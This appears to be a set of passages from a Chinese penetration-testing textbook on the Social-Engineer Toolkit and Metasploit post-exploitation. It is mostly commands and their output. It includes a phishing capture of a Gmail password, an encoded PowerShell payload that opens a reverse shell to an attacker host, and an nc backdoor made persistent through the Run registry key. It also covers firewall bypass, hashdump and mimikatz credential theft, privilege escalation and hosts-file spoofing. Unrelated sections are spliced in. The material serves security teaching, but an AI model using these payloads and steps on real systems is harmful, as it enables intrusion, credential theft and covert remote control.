    {"text": "输出如下： directory traversal attempt detected from: 192.168.1.8 192.168.1.8 - - [22/Aug/2019 20:00:31] \"GET /favicon.ico HTTP/1.1\" 404 - [*] WE GOT A HIT! Printing the output: PARAM: GALX=SJLCkfgaqoM PARAM: continue=https://accounts.google.com/o/oauth2/auth?zt=ChRsWFBwd2 JmV1hIcDhtUFdldzBENhIfVWsxSTdNLW9MdThibW1TMFQzVUZFc1BBaURuWmlRSQ%E2%88%99APsBz4gAAAAAUy4_qD7Hbfz38w8kxnaNouLcRiD3YTjX PARAM: service=lso PARAM: dsh=-7381887106725792428 PARAM: _utf8=☃ PARAM: bgresponse=js_disabled PARAM: pstMsg=1 PARAM: dnConn= PARAM: checkConnection= PARAM: checkedDomains=youtube POSSIBLE USERNAME FIELD FOUND: Email=testuser@gmail.com #用户名 POSSIBLE PASSWORD FIELD FOUND: Passwd=daxueba #密码 PARAM: signIn=Sign+in PARAM: PersistentCookie=yes [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT. 从以上输出信息中可以看到成功捕获到的目标用户提交的用户信息。"},
    {"text": "按Ctrl+C组合键，将停止攻击，输出如下： ^C[*] File in XML format exported to /root/.set/reports/2019-08-22 20:02:33.697078.xml for your reading pleasure... Press <return> to continue 从以上输出信息中可以看到，生成的文件默认保存在/root/.set//reports目录中。"},
    {"text": "未知 6.5.2 PowerShell攻击向量 PowerShell攻击向量可以创建一个PowerShell文件。 当攻击用户将创建好的PowerShell文件发送给目标用户，并且目标用户执行了该文件，攻击用户将会获取一个反向远程连接。"},
    {"text": "执行命令如下： root@daxueba:~# setoolkit ...... Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit set> （2）选择社会工程学攻击，输入编号1。"},
    {"text": "显示信息如下： set> 1 Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) SMS Spoofing Attack Vector 11) Third Party Modules 99) Return back to the main menu. set> （3）选择Powershell攻击向量，输入编号9，将显示如下信息： set> 9 The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and performing functions that do not get triggered by preventative technologies. 1) Powershell Alphanumeric Shellcode Injector 2) Powershell Reverse Shell 3) Powershell Bind Shell 4) Powershell Dump SAM Database 99) Return to Main Menu set:powershell> （4）选择Powershell字母代码注入，输入编号1，将显示如下信息： set:powershell>1 set> IP address for the payload listener: 192.168.1.4 #设置攻击主机的地址 set:powershell> Enter the port for the reverse [443]: 4444 #设置反连接的端口号 [*] Prepping the payload for delivery and injecting alphanumeric shellcode... [*] Generating x86-based powershell injection code... [*] Reverse_HTTPS takes a few seconds to calculate..One moment.. No encoder or badchars specified, outputting raw payload Payload size: 382 bytes Final size of c file: 1630 bytes [*] Finished generating powershell injection bypass. [*] Encoded to bypass execution restriction policy... [*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/ set> Do you want to start the listener now [yes/no]: : yes #是否现在监听 # cowsay++ ____________ < metasploit > ------------ \\ ,__, \\ (oo)____ (__) )\\ ||--|| * =[ metasploit v5.0.41-dev ] + -- --=[ 1915 exploits - 1071 auxiliary - 330 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 4 evasion ] [*] Processing /root/.set/reports/powershell/powershell.rc for ERB directives. resource (/root/.set/reports/powershell/powershell.rc)> use multi/handler resource (/root/.set/reports/powershell/powershell.rc)> set payload windows/ meterpreter/reverse_https payload => windows/meterpreter/reverse_https resource (/root/.set/reports/powershell/powershell.rc)> set LPORT 4444 LPORT => 4444 resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (/root/.set/reports/powershell/powershell.rc)> set ExitOnSession false ExitOnSession => false resource (/root/.set/reports/powershell/powershell.rc)> exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf5 exploit(multi/handler) > [*] Started HTTPS reverse handler on https://0.0.0.0:4444 输出信息显示了攻击主机的配置信息。"},
    {"text": "（5）此时再打开一个终端窗口，查看渗透攻击文件的内容，具体信息如下： root@daxueba:~# cd /root/.set/reports/powershell/ root@daxueba:~/.set/reports/powershell# ls powershell.rc x86_powershell_injection.txt root@daxueba:~/.set/reports/powershell# cat x86_powershell_injection.txt powershell -w 1 -C \"sv Vr -;sv c ec;sv fk ((gv Vr).value.toString()+(gv c). value.toString());powershell (gv fk).value.toString() 'JABNAEwAZgAgAD0AI AAnACQAbQBhACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1A …//省略部分内容 AUwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABPAFkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQATQBMAGYAKQApADsAJABmAGkAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAZgBIACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAGYASAAgACQAZgBpACAAJABPAFkAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAZgBpACAAJABPAFkAIgA7AH0A'\" 以上信息就是x86_powershell_injection.txt文件中的内容。"},
    {"text": "执行成功后，Kali主机将会显示如下信息： [*] https://0.0.0.0:4444 handling request from 192.168.1.4; (UUID: raob2xub) Staging x86 payload (958531 bytes) ... [*] Meterpreter session 1 opened (192.168.1.4:4444 -> 192.168.1.8:49656) at 2019-08-27 17:16:36 +0800 从输出的信息中可以看到，成功打开了一个Meterpreter会话。"},
    {"text": "执行命令如下： msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows Test-PC\\Test @ TEST-PC 192.168.1.4: 4444 -> 192.168.1.8:50220 (192.168.1.8) 从输出的信息中可以看到建立了一个Meterpreter类型的会话。"},
    {"text": "执行命令如下： msf5 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > 看到命令行提示符显示为meterpreter>，则说明成功启动了Meterpreter会话。"},
    {"text": "未知 第7章 后渗透利用 用户通过利用系统漏洞，可以成功攻击目标主机，以控制目标主机。此时，用户可以通过创建后门或者利用Windows工具做进一步渗透，如提权、建立服务、枚举用户和密码等。本章将介绍后渗透利用的实现方法。 未知 7.1 规避防火墙 防火墙（Firewall）是一项协助确保信息安全的设备，其依照特定的规则，允许或限制传输的数据通过。Windows系统自带了防火墙功能，并且默认是启用的，所以防火墙可能会阻止一些操作。用户可以采用一些规避防火墙的方法来绕过其限制。本节将介绍规避防火墙的方法。 未知 7.1.1 允许防火墙开放某端口 对于一些不常用的端口，可能会被防火墙拦截。如果渗透测试者想要通过某个端口来控制目标，则可以尝试在目标主机上添加防火墙规则，并指定允许开放该端口。下面将介绍使用netsh命令设置允许防火墙开放某个端口的方法。 使用netsh命令设置防火墙规则的语法格式如下： netsh advfirewall firewall add/delete/show rule name=名字 dir=in action= allow protocol=协议 localport=端口 以上语法中的参数及含义如下： ·advfirewall：防火墙配置的高级模式。 ·firewall：防火墙配置的简单模式。 ·add/delete/show：操作防火墙规则。其中，add表示添加规则；delete表示删除规则；show表示查看规则。 ·rule：规则。 ·name：指定防火墙规则的名字。 ·dir：表示数据方向。其中，in表示进入；out表示发出。 ·action：表示动作。其中，allow表示允许；block表示阻止；bypass表示跳过。 ·protocol：表示协议类型，默认为所有协议（0-255）。一般指定的是TCP。 ·localport：表示本地使用的端口号。 【实例7-1】 添加一个防火墙规则，并指定开放的端口为8888，规则名为Software Updater。执行命令如下： C:\\Users\\Administrator\\Desktop>netsh advfirewall firewall add rule name= \"Software Updater\" dir=in action=allow protocol=TCP localport=8888 netsh advfirewall firewall add rule name=\"Software Updater\" dir=in action= allow protocol=TCP localport=8888 确定 看到以上输出信息，则表示成功添加了一个防火墙规则。此时，用户可以使用show查看添加的防火墙规则。执行命令如下： C:\\Users\\daxueba>netsh advfirewall firewall show rule name=\"Software Updater\" 规则名称: Software Updater ---------------------------------------------------------------------- 已启用: 是 方向: 入 配置文件: 域,专用,公用 分组: 本地 IP: 任何 远程 IP: 任何 协议: TCP 本地端口: 8888 远程端口: 任何 边缘遍历: 否 操作: 允许 确定。 从输出的信息中可以看到，该防火墙规则已启用。其中，监听的端口为8888，方向为入，操作为允许。 未知 1.5.3 外接USB有线网卡 在虚拟机中，用户通过外接USB有线网卡，并配合不同的交换机和路由器，可以构成任意层次结构的网络拓扑模式。其中，通过外接USB有线网卡构成的层次结构网络拓扑如图1.41所示。 图1.41 外接USB有线网卡构成的网络拓扑图 未知 7.1.2 建立服务 为了长期控制目标主机或者规避网络防火墙的检测，往往需要在目标主机上建立各种服务。例如，当用户利用漏洞获取Meterpreter会话后，可以建立上传或下载文件的服务。此时，用户可以上传一个nc程序，用于在目标主机上建立一个服务端，然后在攻击主机上建立客户端，以连接其服务。nc工具是一个远程Shell连接工具，分为客户端和服务端两部分。下面将介绍使用nc程序在目标主机上建立服务，并使用客户端方式远程连接到目标主机的方法。 nc工具的语法格式如下： nc -l -p port [options] [hostname] [port] #建立服务端 nc [options] hostname port[s] #建立客户端 nc工具支持的选项及含义如下： ·-e prog：指定连入连接执行的程序。 ·-d：隐蔽模式。 ·-p port：本地端口号。 ·-l：监听模式。 ·-L：强制监听模式。 ·-t：响应Telnet协商。 ·-u：UDP模式。 ·-v：显示详细信息。 ·-s addr：本地源地址。 ·-r：本地和远程端口随机化。 【实例7-2】 使用nc建立服务端，指定接入连接执行的程序为CMD。执行命令如下： C:\\Windows\\System32>nc.exe -lvp 8888 -e cmd.exe nc.exe -lp 8888 -e cmd.exe listening on [any] 8888 ... 从输出的信息中可以看到，当前主机正在监听端口8888。 【实例7-3】 建立客户端，以连接到服务端。执行命令如下： 看到以上输出信息，则表示成功连接到服务端的CMD程序。"},
    {"text": "未知 7.1.3 关闭防火墙 如果目标主机中的防火墙规则比较严格，而且限制的端口和协议较多时，攻击者可以尝试关闭防火墙，这样就无需要添加一条规则。下面将介绍使用netsh命令关闭防火墙的方法。 【实例7-4】 关闭防火墙。执行命令如下： 看到以上输出信息，则表示成功关闭了防火墙。此时，在目标主机上查看防火墙设置，发现已成功关闭，如图7.1所示。 提示： 以上输出信息显示为乱码，是因为MSF控制台不支持中文所导致的。 图7.1 关闭防火墙 从该窗口中可以看到，已成功关闭了目标主机的防火墙。但是这种情况很容易被发现。此时，渗透测试者可以通过添加策略来隐蔽其行为。 【实例7-5】 用户可以伪装成一个正常执行的进程，之后远程重启目标系统，并利用nc连接。具体操作步骤如下： （1）添加防火墙规则，并指定本地的TCP端口444对外开放。执行命令如下： 看到以上输出信息，则表示成功添加了防火墙规则，并且对外开放了TCP端口444。 （2）上传nc程序到目标主机。执行命令如下： meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\\\Windows\\\\ System32 [*] uploading : /usr/share/windows-binaries/nc.exe -> C:\\Windows\\System32 [*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\\Windows\\System32\\ nc.exe 看到以上输出信息，则表示成功将nc程序上传到目标主机的C:\\Windows\\System32中。 （3）枚举注册表中开机启动的内容。执行命令如下： meterpreter > reg enumkey -k HKLM\\\\software\\\\microsoft\\\\windows\\\\current version\\\\run Enumerating: HKLM\\software\\microsoft\\windows\\currentversion\\run Values (4): 360Safetray FileZilla Server Interface vmware-tray.exe SunJavaUpdateSched 从输出的信息中可以看到，目标主机中开机启动的内容有4个，分别是360Safetray、FileZilla Server Interface、vmware-tray.exe和SunJavaUpdateSched。 （4）在该注册表中增加开机启动项。执行命令如下： meterpreter > reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\current version\\\\run -v nc -d \"C:\\Windows\\System32\\nc.exe -Ldp 444 -e cmd.exe\" Successfully set nc of REG_SZ. 看到以上输出信息，则表示添加成功。 （5）查看添加的内容是否成功。执行命令如下： meterpreter > reg queryval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\current version\\\\Run -v nc Key: HKLM\\software\\microsoft\\windows\\currentversion\\Run #键 Name: nc #名称 Type: REG_SZ #类型 Data: C:\\Windows\\System32\\nc.exe -Ldp 444 -e cmd.exe #数据 从输出的信息中可以看到，成功添加了其内容。 （6）关闭目标主机并重启。执行命令如下： C:\\Windows\\system32> shutdown -r -t 0 执行以上命令后，目标主机将重新启动。当目标主机启动后，将自动运行NC程序。之后攻击者即可在攻击主机上远程连接nc程序。执行命令如下： 看到以上输出信息，则表示成功远程连接到目标主机。 未知 7.1.4 迁移进程 在渗透过程中由于各种原因，当前的Meterpreter进程很容易被杀掉。为了不影响当前的会话，用户可以将Meterpreter转移到系统常驻进程中，如exeplor.exe、svchost.exe等。下面将介绍迁移进程的方法。 【实例7-6】 迁移Meterpreter进程。具体操作步骤如下： （1）查看当前主机中的所有进程。执行命令如下： meterpreter > ps 执行以上命令后，将显示如图7.2所示的窗口。 图7.2 获取的进程列表 以上输出信息显示了目标主机中的进程列表，共包括7列，分别为PID（进程ID）、PPID（父进程ID）、Name（程序名称）、Arch（架构）、Session（会话ID）、User（用户名）和Path（程序路径）。例如，这里将Meterpreter进程迁移到了explorer.exe进程中。从获取的进程列表中可以看到，explorer.exe程序的进程ID为924。 （2）使用migrate命令迁移进程。执行命令如下： meterpreter > migrate 924 [*] Migrating from 288 to 924... [*] Migration completed successfully. 从输出的信息中可以看到，成功迁移了进程，将进程288迁移到了进程924中。 未知 7.2 获取目标主机信息 当用户成功控制目标主机后，即可获取目标主机的一些基本信息，如密码哈希值、用户名和密码、目标主机安装的软件等。本节将介绍获取目标主机信息的方法。"},
    {"text": "未知 7.2.1 获取密码哈希值 一旦攻击者获取到目标用户的密码哈希值，可以尝试破解出对应的密码。这样攻击者就可以直接“合法”地远程访问目标主机上的各种服务，从而摆脱对当前漏洞的依赖。在Meterpreter会话中，用户可以使用hashdump命令从系统中提取用户名和密码哈希值。该命令通过读取目标主机的SAM文件来获取其中的账户、密码哈希值信息。下面将介绍获取哈希密码值的方法。 【实例7-7】 使用post/windows/gather/smart_hashdump模块获取目标主机的哈希密码值。执行命令如下： meterpreter > run post/windows/gather/smart_hashdump [*] Running module against TEST-PC [*] Hashes will be saved to the database if one is connected. [+] Hashes will be saved in loot in JtR password file format to: [*] /root/.msf4/loot/20190828184555_default_192.168.1.5_windows.hashes_ 688902.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 0f08cf4aaf4f0ab7c7e01e29fd18 12e2... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [*] No users with password hints on this system [*] Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae9 31b73c59d7e0c089c0::: [+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:0b7301e26080 a2be8d3e804d7f4102c0::: [+] daxueba:1036:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba 88547376818d4::: 从输出的信息中可以看到，成功获取目标主机的密码哈希值。默认将获取的密码哈希值。保存到/root/msf4/loot目录中。其中，获取的密码哈希值格式为“用户名:RID:LM哈希:NTLM哈希”。对应获取的密码哈希值，用户可以使用前面章节中介绍的工具实施密码破解。 未知 7.2.2 枚举用户和密码信息 在Meterpreter会话中提供了一个mimikatz模块，可以用来枚举用户和明文密码。下面将介绍枚举用户和密码信息的方法。 【实例7-8】 枚举用户和密码信息。具体操作步骤如下： （1）加载mimikatz模块。执行命令如下： meterpreter > load mimikatz Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 2008 R2 (Build 7600).). Did you mean to 'load kiwi' instead? Success. 看到以上输出信息，则表示mimikatz模块加载成功。 （2）使用mimikatz_command命令获取密码信息。执行命令如下： meterpreter > mimikatz_command -f sekurlsa::wdigest -a \"full\" \"0;116534\",\"NTLM\",\"Administrator\",\"WIN-TJUIK7N16BP\",\" Administrator,WIN-TJUIK7N16BP,daxueba\" \"0;996\",\"Negotiate\",\"WIN-TJUIK7N16BP$\",\"WORKGROUP\",\" WIN-TJUIK7N16BP$,WORKGROUP,\" \"0;45390\",\"NTLM\",\"\",\"\",\"\" \"0;997\",\"Negotiate\",\"LOCAL SERVICE\",\"NT AUTHORITY\",\" ,,\" \"0;999\",\"NTLM\",\"WIN-TJUIK7N16BP$\",\"WORKGROUP\",\" WIN-TJUIK7N16BP$,WORKGROUP,\" 从输出的信息中可以看到，已成功获取目标主机中所有用户和对应的明文密码。其中，Administrator用户的密码为daxueba。 （3）用户也可以使用Mimikatz模块中的msv命令获取密码哈希值。执行命令如下： meterpreter > msv 执行以上命令后，将显示如图7.3所示的窗口。 图7.3 获取的密码哈希值 以上输出信息共包括5列，分别是AuthID（认证ID）、Package（包格式）、Domain（域名）、User（用户）和Password（密码）。从Password列可以看到，成功获取了用户的lm和ntlm的密码哈希值。"},
    {"text": "未知 7.2.3 获取目标主机安装的软件信息 用户可以使用run post/windows/gather/enum_applications命令获取目标主机中安装的所有软件信息。执行命令如下： meterpreter > run post/windows/gather/enum_applications [*] Enumerating applications installed on TEST-PC Installed Applications ====================== Name Version ---- ------- 360安全卫士 11.4.0.2003 360安全卫士 11.4.0.2003 ASP.NET Maker 2016 2016 ASP.NET Maker 2016 2016 Adobe Flash Player 32 ActiveX 32.0.0.223 Adobe Flash Player 32 ActiveX 32.0.0.223 FileZilla Server beta 0.9.60 FileZilla Server beta 0.9.60 Java 8 Update 201 8.0.2010.9 Java 8 Update 201 8.0.2010.9 Java Auto Updater 2.8.201.9 Java Auto Updater 2.8.201.9 …//省略部分内容 Win32DiskImager version 1.0.0 1.0.0 Win32DiskImager version 1.0.0 1.0.0 WinPcap 4.1.3 4.1.0.2980 WinPcap 4.1.3 4.1.0.2980 Wireshark 3.0.3 64-bit 3.0.3 Wireshark 3.0.3 64-bit 3.0.3 sctplib 1.0.4 sctplib 1.0.4 搜狗输入法 9.0正式版 9.0.0.2502 搜狗输入法 9.0正式版 9.0.0.2502 腾讯视频 10.21.4318.0 腾讯视频 10.21.4318.0 [+] Results stored in: /root/.msf4/loot/20190828110507_default_192.168. 1.5_host.application_001944.txt 以上输出信息共包括两列，分别为Name（软件名称）和Version（版本）。从显示的结果中可以看到目标主机中安装的所有软件及对应的版本号。例如，目标主机中安装的软件有360安全卫士、FileZilla服务器和腾讯视频等。 未知 7.2.4 获取目标主机的防火墙规则 用户使用run getcountermeasure命令可以获取目标主机内置防火墙的配置信息。执行命令如下： meterpreter > run getcountermeasure [!] Meterpreter scripts are deprecated. Try post/windows/manage/killav. [!] Example: run post/windows/manage/killav OPTION=value [...] [*] Running Getcountermeasure on the target... [*] Checking for contermeasures... [*] Getting Windows Built in Firewall configuration... [*] [*] Domain profile configuration: #域名配置 [*] ------------------------------------------------------------------ [*] Operational mode = Enable [*] Exception mode = Enable [*] [*] Standard profile configuration (current): #标准配置 [*] ----------------------------------------------------------------- [*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Local Area Connection firewall configuration: #本地区域连接防火墙配置 [*] ----------------------------------------------------------------- [*] Operational mode = Enable [*] [*] Checking DEP Support Policy... 从输出的信息中可以看到，成功获取了目标主机中的防火墙配置。 未知 7.2.5 获取所有可访问的桌面 用户可以使用enumdesktops命令枚举与调用进程相关联的指定窗口站的所有桌面。执行命令如下： meterpreter > enumdesktops Enumerating all accessible desktops Desktops ======== Session Station Name ------- ------- ---- 1 WinSta0 Default 1 WinSta0 Disconnect 1 WinSta0 Winlogon 以上输出信息共包括3列，分别为Session（会话ID）、Station（工作站）和Name（桌面名称）。从显示的结果中可以看到，目标主机有3个桌面可以访问。 未知 7.2.6 获取当前登录的用户 用户使用run post/windows/gather/enum_logged_on_users命令还可以获取当前会话中登录的用户信息。执行命令如下： meterpreter > run post/windows/gather/enum_logged_on_users [*] Running against session 1 Current Logged Users #当前登录的用户 ==================== SID User --- ---- S-1-5-18 NT AUTHORITY\\SYSTEM S-1-5-21-995380961-3065862467-3011399799-500 Test-PC\\Administrator [+] Results saved in: /root/.msf4/loot/20190828111504_default_192.168.1. 5_host.users.activ_283560.txt Recently Logged Users #最近登录的用户 ===================== SID Profile Path --- ------------ S-1-5-18 %systemroot%\\system32\\config\\systemprofile S-1-5-19 C:\\Windows\\ServiceProfiles\\LocalService S-1-5-20 C:\\Windows\\ServiceProfiles\\NetworkService S-1-5-21-995380961- C:\\Users\\Test 3065862467-3011399799-1001 S-1-5-21-995380961-3065862467- C:\\Users\\Administrator 3011399799-500 S-1-5-82-1036420768-1044797643- C:\\Users\\Classic .NET AppPool 1061213386-2937092688-4282445334 S-1-5-82-3006700770-424185619- C:\\Users\\DefaultAppPool 1745488364-794895919-4004696415 从输出的信息中可以看到，已成功获取当前登录的用户和最近登录的用户。在当前登录的用户部分可以看到用户的SID和用户名；在最近登录用户部分显示了用户SID及配置文件的路径。从以上显示的结果中还可以看到，获取的当前登录用户默认保存在/root/.msf4/loot目录中。"},
    {"text": "未知 1.6 配置Maltego Maltego是一款非常强大的信息收集工具。它不仅可以自动收集所需的信息，而且还可以将收集的信息可视化，用一种图形化的方式将结果显示给用户。当用户完成信息收集后，可以使用该工具整理数据。Kali Linux默认已经安装该工具了，但是在使用之前还需要简单配置一下。本节将介绍配置Maltego的方法。 未知 7.2.7 获取目标主机最近访问过的文档（链接）信息 用户使用dumplinks命令可以获取目标主机上最近访问过的文档和链接信息。其中，链接文件包含时间戳、文件位置、共享名和卷序列号等。下面将使用dumplinks命令获取最近访问过的文档和链接信息。执行命令如下： meterpreter > run dumplinks [*] Running as SYSTEM extracting user list... [*] Extracting lnk files for user Test at C:\\Users\\Test\\AppData\\Roaming\\ Microsoft\\Windows\\Recent\\... [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ 1.cap.lnk. [*] Target path = C:\\Users\\$ [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ 1.wkp.lnk. [*] Target path = C:\\Users\\$ [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ 13006B3D-25DF-40AD-8A85-F28E8C6C1C4A.SNAG.lnk. [*] Target path = C:\\Users\\$ [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ 21DA0382-80C8-4A0A-ACBE-15ABEDA5B335.SNAG.lnk. [*] Target path = C:\\Users\\$ [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ 3288EDC3-651A-42B3-9B71-575E7A5AAFEA.SNAG.lnk. [*] Target path = C:\\Users\\$ [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ 38FFCA76-0C57-47C9-8780-BF094E640CE9.SNAG.lnk. [*] Target path = C:\\Users\\$ [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ kali-linux-2018.3-amd64.iso.lnk. [*] Target path = E:\\kali-linux-2018.3-amd64.iso [*] Processing: C:\\Users\\Test\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ kali-linux-2019.1-amd64.iso.lnk. [*] Target path = E:\\kali-linux-2019.1-amd64.iso 从输出的信息中可以看到，已成功获取目标主机最近访问过的文档和链接信息。例如，最后一行信息表示访问的链接文件为kali-linux-2019.1-amd64.iso.lnk.；其目标路径为E:\\kali-linux-2019.1-amd64.iso。 未知 7.2.8 获取磁盘分区信息 用户使用run post/windows/gather/forensics/enum_drives命令还可以获取磁盘分区信息。执行命令如下： meterpreter > run post/windows/gather/forensics/enum_drives Device Name: Type: Size (bytes): ------------ ----- ------------- <Physical Drives:> \\\\.\\PhysicalDrive0 4702111234474983745 <Logical Drives:> \\\\.\\C: 4702111234474983745 \\\\.\\D: 4702111234474983745 \\\\.\\E: 4702111234474983745 以上输出信息共包括3列，分别为Device（设备名）、Type（类型）和Size（大小）。从显示的结果中可知目标主机有3个逻辑分区，分别是C、D和E，而且还显示了每个分区的大小。 未知 7.2.9 获取所有网络共享信息 用户使用run scraper命令可以从目标主机上获取所有网络共享等信息，并且可以将获取的所有信息都保存到/root/.msf4/logs/scripts/scraper目录中。获取所有网络共享信息，执行命令如下： meterpreter > run scraper [*] New session on 192.168.1.7:445... [*] Gathering basic system information... [*] Dumping password hashes... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\\WINDOWS\\TEMP\\kiqgpAWF.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\\WINDOWS\\TEMP\\KPONGRlL.reg) [*] Cleaning HKLM [*] Exporting HKCC [*] Downloading HKCC (C:\\WINDOWS\\TEMP\\WdeVVYNB.reg) [*] Cleaning HKCC [*] Exporting HKCR [*] Downloading HKCR (C:\\WINDOWS\\TEMP\\LwboMIyo.reg) [*] Cleaning HKCR [*] Exporting HKU [*] Downloading HKU (C:\\WINDOWS\\TEMP\\VFMdScVx.reg) [*] Cleaning HKU [*] Completed processing on 192.168.1.7:445... 从输出的信息中可以看到下载的目标主机中的共享文件信息。此时，用户可以到/root/.msf4/logs/scripts/scraper目录中查看所有的共享文件。执行命令如下： root@daxueba:~/.msf4/logs/scripts/scraper# ls 192.168.1.7_20190829.003247084/ env.txt hashes.txt HKCR.reg HKLM.reg localgroup.txt network.txt shares.txt system.txt group.txt HKCC.reg HKCU.reg HKU.reg nethood.txt services.txt systeminfo.txt users.txt 从输出的信息中可以看到目标主机中的所有网络共享文件。 未知 7.3 其他操作 当用户控制目标主机后，不仅可以获取目标主机的基本信息，还可以实施其他操作，如提权、绕过UAC等。本节将介绍对目标主机实施的其他操作。"},
    {"text": "未知 7.3.1 提权 提权就是提升渗透测试者在目标主机中的权限。例如，目标主机登录的用户为普通用户，通过渗透测试，可以获取该用户的控制权限。但这种情况对于一些需要管理员权限的操作则无法实施。此时，渗透测试人员就需要利用相关漏洞来获取管理员权限，使其变成超级管理员，如SYSTEM用户，这样就拥有了管理Windows的所有权限。本节讲解Metasploit自带的提权方法。 【实例7-9】 下面在Meterpreter中对普通用户进行提权。首先查看当前用户的权限信息。执行命令如下： meterpreter > getuid Server username: Test-PC\\daxueba 从输出的信息中可以看到，当前用户是一个普通用户，其用户名为daxueba。接下来，将使用getsystem命令对该用户进行提权。执行命令如下： meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). 看到以上输出信息，则表示成功对当前用户进行了提权。如果提权失败，将显示如下信息： meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) 看到以上输出信息，则表示提权失败。对于这种情况，可能是遭到了UAC权限的限制。当用户提权成功后，再次查看用户权限，结果如下： meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM 从输出的信息中可以看到，当前用户的权限为NT AUTHORITY\\SYSTEM。由此可以说明，成功提升了用户的权限。 未知 7.3.2 编辑目标主机文件 当用户控制目标主机后，还可以使用edit命令修改目标主机文件。其中，edit命令将调用VI编辑器，对目标主机上的文件进行修改。例如，用户想要对目标实施调用攻击，则可以通过修改目标主机的hosts文件来实现。下面将介绍编辑目标主机文件的方法。 【实例7-10】 编辑目标主机的hosts文件。执行命令如下： meterpreter > edit C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts 执行以上命令后，将显示如图7.4所示的窗口。 图7.4 编辑hosts文件 该窗口中显示了目标主机hosts文件的内容。例如，这里指定将目标网站www.baidu.com欺骗到攻击主机上。其中，攻击主机的IP地址为192.168.1.4。此时，输入的内容如下： 192.168.1.4 www.baidu.com 然后保存并退出该文件。接下来，用户在目标主机上使用Ping命令Ping域名www.baidu.com，将发现被解析的IP地址为192.168.1.4。执行命令如下： C:\\Users\\Administrator>ping www.baidu.com 正在 Ping www.baidu.com [192.168.1.4] 具有 32 字节的数据: 来自 192.168.1.4 的回复: 字节=32 时间<1ms TTL=64 来自 192.168.1.4 的回复: 字节=32 时间<1ms TTL=64 来自 192.168.1.4 的回复: 字节=32 时间<1ms TTL=64 来自 192.168.1.4 